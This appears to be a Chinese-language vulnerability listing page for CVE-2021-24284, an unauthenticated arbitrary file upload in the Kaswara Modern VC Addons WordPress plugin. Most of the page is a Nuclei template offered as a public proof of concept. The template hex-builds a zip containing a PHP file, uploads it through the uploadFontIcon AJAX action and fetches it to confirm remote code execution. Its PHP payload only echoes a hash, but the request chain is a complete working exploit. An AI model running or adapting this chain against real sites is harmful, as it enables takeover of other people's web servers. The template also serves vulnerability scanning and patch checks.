CVE-2021-24284: WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload

日期: 2025-08-01 | 影响软件: WordPress Kaswara Modern VC Addons | POC: 已公开

漏洞描述

WordPress Kaswara Modern VC Addons plugin through 3.0.1 is susceptible to an arbitrary file upload. The plugin allows unauthenticated arbitrary file upload via the uploadFontIcon AJAX action, which can be used to obtain code execution. The supplied zipfile is unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.

PoC代码[已公开]

id: CVE-2021-24284

info:
  name: WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload
  author: lamscun,pussycat0x,pdteam
  severity: critical
  description: |
    WordPress Kaswara Modern VC Addons plugin through 3.0.1 is susceptible to an arbitrary file upload. The plugin allows unauthenticated arbitrary file upload via the uploadFontIcon AJAX action, which can be used to obtain code execution. The supplied zipfile is unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected WordPress website.
  remediation: |
    Update to the latest version of Kaswara Modern VC Addons plugin (>=3.0.2) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8d66e338-a88f-4610-8d12-43e8be2da8c5
    - https://github.com/advisories/GHSA-wqvg-8q49-hjc7
    - https://www.wordfence.com/blog/2021/04/psa-remove-kaswara-modern-wpbakery-page-builder-addons-plugin-immediately/
    - https://www.waltermairena.net/en/2021/04/25/0-day-vulnerability-in-the-plugin-kaswara-modern-vc-addons-plugin-what-can-i-do/
    - https://lifeinhex.com/kaswara-exploit-or-how-much-wordfence-cares-about-user-security/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24284
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24284
    cwe-id: CWE-434
    epss-score: 0.74915
    epss-percentile: 0.98832
    cpe: cpe:2.3:a:kaswara_project:kaswara:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: kaswara_project
    product: kaswara
    framework: wordpress
  tags: cve2021,cve,intrusive,unauth,fileupload,wpscan,wordpress,wp-plugin,rce,wp,kaswara_project
variables:
  zip_file: "{{to_lower(rand_text_alpha(6))}}"
  php_file: "{{to_lower(rand_text_alpha(2))}}.php"
  string: "CVE-2021-24284"
  php_cmd: "<?php echo md5('{{string}}');unlink(__FILE__);?>"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------d3be34324392a708

        --------------------------d3be34324392a708
        Content-Disposition: form-data; name="fonticonzipfile"; filename="{{zip_file}}.zip"
        Content-Type: application/octet-stream

        {{hex_decode('504B03040A0000000000FA73F454B2333E07140000001400000006001C00')}}{{php_file}}{{hex_decode('555409000366CBD76267CBD76275780B000104F50100000414000000')}}{{php_cmd}}{{hex_decode('0A504B01021E030A00000000002978F454E49BC1591300000013000000060018000000000001000000A48100000000')}}{{php_file}}{{hex_decode('555405000366CBD76275780B000104F50100000414000000504B050600000000010001004C000000530000000000')}}
        --------------------------d3be34324392a708
        Content-Disposition: form-data; name="fontsetname"

        {{zip_file}}
        --------------------------d3be34324392a708
        Content-Disposition: form-data; name="action"

        uploadFontIcon
        --------------------------d3be34324392a708--
      - |
        GET /wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/{{php_file}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/style.css"

      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a808a619c29d7e5e93d597ac9dd4ebe2841ddd6b457329a4604dee96e91b8d7d02204cb0d5c9d89bbf04bb58d07fb01d6cb570036898e93fab7085136f35570ea96a:922c64590222798bb761d5b6d8e72950

相关漏洞推荐